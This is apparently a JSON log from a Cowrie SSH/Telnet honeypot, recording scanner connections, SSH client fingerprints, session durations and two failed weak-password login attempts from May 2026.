{"eventid":"cowrie.session.closed","duration":34.21299910545349,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:33.405328Z","src_ip":"162.55.233.176","session":"a89fcf76d754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.75529599189758,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:35.362092Z","src_ip":"188.208.141.113","session":"8cefbd7c22e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49726,"dst_ip":"10.17.0.5","dst_port":22,"session":"1584157df5b4","protocol":"ssh","message":"New connection: 2.57.122.238:49726 (10.17.0.5:22) [session: 1584157df5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:38.754568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:38.759543Z","src_ip":"2.57.122.238","session":"1584157df5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:38.861214Z","src_ip":"2.57.122.238","session":"1584157df5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:39.164376Z","src_ip":"2.57.122.238","session":"1584157df5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.08258938789368,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:39.663869Z","src_ip":"162.55.233.176","session":"5e98036640b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92298412322998,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:39.920986Z","src_ip":"162.55.233.176","session":"b2b69d3cab5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50858,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd1d23c8d70","protocol":"telnet","message":"New connection: 162.55.233.176:50858 (159.203.135.109:23) [session: 0bd1d23c8d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:40.261371Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:40.267019Z","src_ip":"2.57.122.238","session":"1584157df5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50874,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafd4118c4c5","protocol":"telnet","message":"New connection: 162.55.233.176:50874 (159.203.135.109:23) [session: aafd4118c4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:40.600342Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be0a2d88c2e","protocol":"telnet","message":"New connection: 206.189.32.23:35218 (10.17.0.5:23) [session: 6be0a2d88c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:41.615005Z"}
{"eventid":"cowrie.session.closed","duration":38.852643966674805,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:41.842498Z","src_ip":"206.189.32.23","session":"feb29e99a2a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b5d78b8c76d","protocol":"telnet","message":"New connection: 162.55.233.176:50876 (159.203.135.109:23) [session: 7b5d78b8c76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:42.179895Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36388,"dst_ip":"10.17.0.5","dst_port":23,"session":"88580ad71f5c","protocol":"telnet","message":"New connection: 206.189.32.23:36388 (10.17.0.5:23) [session: 88580ad71f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:42.640012Z"}
{"eventid":"cowrie.session.closed","duration":40.568737745285034,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:45.549569Z","src_ip":"206.189.32.23","session":"8f394f7ce1d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.97787547111511,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:46.174146Z","src_ip":"188.208.141.113","session":"9cdced0e5662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.132602691650391,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:47.772533Z","src_ip":"206.189.32.23","session":"88580ad71f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40222,"dst_ip":"10.17.0.5","dst_port":23,"session":"09717368010b","protocol":"telnet","message":"New connection: 206.189.32.23:40222 (10.17.0.5:23) [session: 09717368010b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:49.354881Z"}
{"eventid":"cowrie.session.closed","duration":31.045629024505615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:50.947305Z","src_ip":"162.55.233.176","session":"710e8722ad6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e005a9fe647","protocol":"telnet","message":"New connection: 206.189.32.23:45740 (10.17.0.5:23) [session: 8e005a9fe647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:51.446029Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36924,"dst_ip":"159.203.135.109","dst_port":23,"session":"288ec666421c","protocol":"telnet","message":"New connection: 162.55.233.176:36924 (159.203.135.109:23) [session: 288ec666421c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:55.081838Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51568,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d295749107","protocol":"telnet","message":"New connection: 206.189.32.23:51568 (10.17.0.5:23) [session: 61d295749107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:56.796380Z"}
{"eventid":"cowrie.session.closed","duration":48.87341332435608,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:57.665937Z","src_ip":"188.208.141.113","session":"32fb15f5f411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54256,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f90a865db62","protocol":"telnet","message":"New connection: 206.189.32.23:54256 (10.17.0.5:23) [session: 2f90a865db62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:00.121324Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48392,"dst_ip":"10.17.0.5","dst_port":23,"session":"378c35765145","protocol":"telnet","message":"New connection: 188.208.141.113:48392 (10.17.0.5:23) [session: 378c35765145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:00.615880Z"}
{"eventid":"cowrie.session.closed","duration":3.153486728668213,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:03.274668Z","src_ip":"206.189.32.23","session":"2f90a865db62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.858028411865234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:03.441530Z","src_ip":"162.55.233.176","session":"50f7925d6860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.303714990615845,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:04.919462Z","src_ip":"188.208.141.113","session":"378c35765145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.08011436462402,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:06.113988Z","src_ip":"206.189.32.23","session":"cd5992ce88b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57128,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8008aa33a75","protocol":"telnet","message":"New connection: 162.55.233.176:57128 (159.203.135.109:23) [session: c8008aa33a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:10.343458Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57142,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7dd3bc6059","protocol":"telnet","message":"New connection: 162.55.233.176:57142 (159.203.135.109:23) [session: 4e7dd3bc6059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:10.660543Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8bde406f74","protocol":"telnet","message":"New connection: 206.189.32.23:42378 (10.17.0.5:23) [session: 6b8bde406f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:13.521572Z"}
{"eventid":"cowrie.session.closed","duration":45.6522536277771,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:15.130297Z","src_ip":"206.189.32.23","session":"6734aabe3c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91428208351135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:15.514292Z","src_ip":"162.55.233.176","session":"aafd4118c4c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.483415603637695,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:17.663235Z","src_ip":"162.55.233.176","session":"7b5d78b8c76d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.81232810020447,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:18.095107Z","src_ip":"206.189.32.23","session":"6090c19cbf2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.507524728775024,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:18.768795Z","src_ip":"162.55.233.176","session":"0bd1d23c8d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83507513999939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:28.916791Z","src_ip":"162.55.233.176","session":"288ec666421c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56310,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15aa0020072","protocol":"telnet","message":"New connection: 162.55.233.176:56310 (159.203.135.109:23) [session: f15aa0020072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:35.648140Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56312,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0dfe604b8c","protocol":"telnet","message":"New connection: 162.55.233.176:56312 (159.203.135.109:23) [session: ca0dfe604b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:36.184170Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56328,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dd19c703895","protocol":"telnet","message":"New connection: 162.55.233.176:56328 (159.203.135.109:23) [session: 2dd19c703895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:37.288898Z"}
{"eventid":"cowrie.session.closed","duration":31.155173540115356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:41.815601Z","src_ip":"162.55.233.176","session":"4e7dd3bc6059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65648365020752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:41.999804Z","src_ip":"162.55.233.176","session":"c8008aa33a75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33634,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d64e19cb1ee","protocol":"telnet","message":"New connection: 188.208.141.113:33634 (10.17.0.5:23) [session: 5d64e19cb1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:47.750578Z"}
{"eventid":"cowrie.session.closed","duration":51.39504814147949,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:48.191303Z","src_ip":"206.189.32.23","session":"61d295749107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.605862855911255,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:55.127319Z","src_ip":"206.189.32.23","session":"6b8bde406f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.573022842407227,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:55.323503Z","src_ip":"188.208.141.113","session":"5d64e19cb1ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.96769714355469,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:56.413634Z","src_ip":"206.189.32.23","session":"8e005a9fe647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55358,"dst_ip":"10.17.0.5","dst_port":23,"session":"200a50c5caae","protocol":"telnet","message":"New connection: 188.208.141.113:55358 (10.17.0.5:23) [session: 200a50c5caae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:56.422833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37264,"dst_ip":"159.203.135.109","dst_port":23,"session":"33954f7a80d7","protocol":"telnet","message":"New connection: 162.55.233.176:37264 (159.203.135.109:23) [session: 33954f7a80d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:20:57.005973Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":46322,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d45097ea415","protocol":"ssh","message":"New connection: 190.108.60.10:46322 (10.17.0.5:22) [session: 2d45097ea415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:01.134379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:01.138823Z","src_ip":"190.108.60.10","session":"2d45097ea415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:01.336829Z","src_ip":"190.108.60.10","session":"2d45097ea415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyu","message":"login attempt [ubuntu/qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:02.169943Z","src_ip":"190.108.60.10","session":"2d45097ea415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:03.371534Z","src_ip":"190.108.60.10","session":"2d45097ea415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f65682599d","protocol":"telnet","message":"New connection: 162.55.233.176:52390 (159.203.135.109:23) [session: c4f65682599d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:06.058883Z"}
{"eventid":"cowrie.session.closed","duration":31.088714599609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:06.736654Z","src_ip":"162.55.233.176","session":"f15aa0020072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446844816207886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:08.735660Z","src_ip":"162.55.233.176","session":"2dd19c703895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24644112586975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:10.430378Z","src_ip":"162.55.233.176","session":"ca0dfe604b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"d63b8921ce06","protocol":"telnet","message":"New connection: 206.189.32.23:47722 (10.17.0.5:23) [session: d63b8921ce06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:13.425744Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60886,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f48cd7144b6","protocol":"telnet","message":"New connection: 162.55.233.176:60886 (159.203.135.109:23) [session: 6f48cd7144b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:14.232680Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48678,"dst_ip":"10.17.0.5","dst_port":23,"session":"752ac57bf0dd","protocol":"telnet","message":"New connection: 206.189.32.23:48678 (10.17.0.5:23) [session: 752ac57bf0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:14.427812Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48990,"dst_ip":"10.17.0.5","dst_port":23,"session":"9153fbb434b1","protocol":"telnet","message":"New connection: 206.189.32.23:48990 (10.17.0.5:23) [session: 9153fbb434b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:16.777419Z"}
{"eventid":"cowrie.session.closed","duration":3.848451614379883,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:18.276190Z","src_ip":"206.189.32.23","session":"752ac57bf0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":43354,"dst_ip":"159.203.135.109","dst_port":22,"session":"68dbfec64460","protocol":"ssh","message":"New connection: 103.170.173.26:43354 (159.203.135.109:22) [session: 68dbfec64460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:19.378718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:19.382851Z","src_ip":"103.170.173.26","session":"68dbfec64460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:19.636342Z","src_ip":"103.170.173.26","session":"68dbfec64460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.54768300056458,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:19.902463Z","src_ip":"206.189.32.23","session":"09717368010b","protocol":"telnet"}
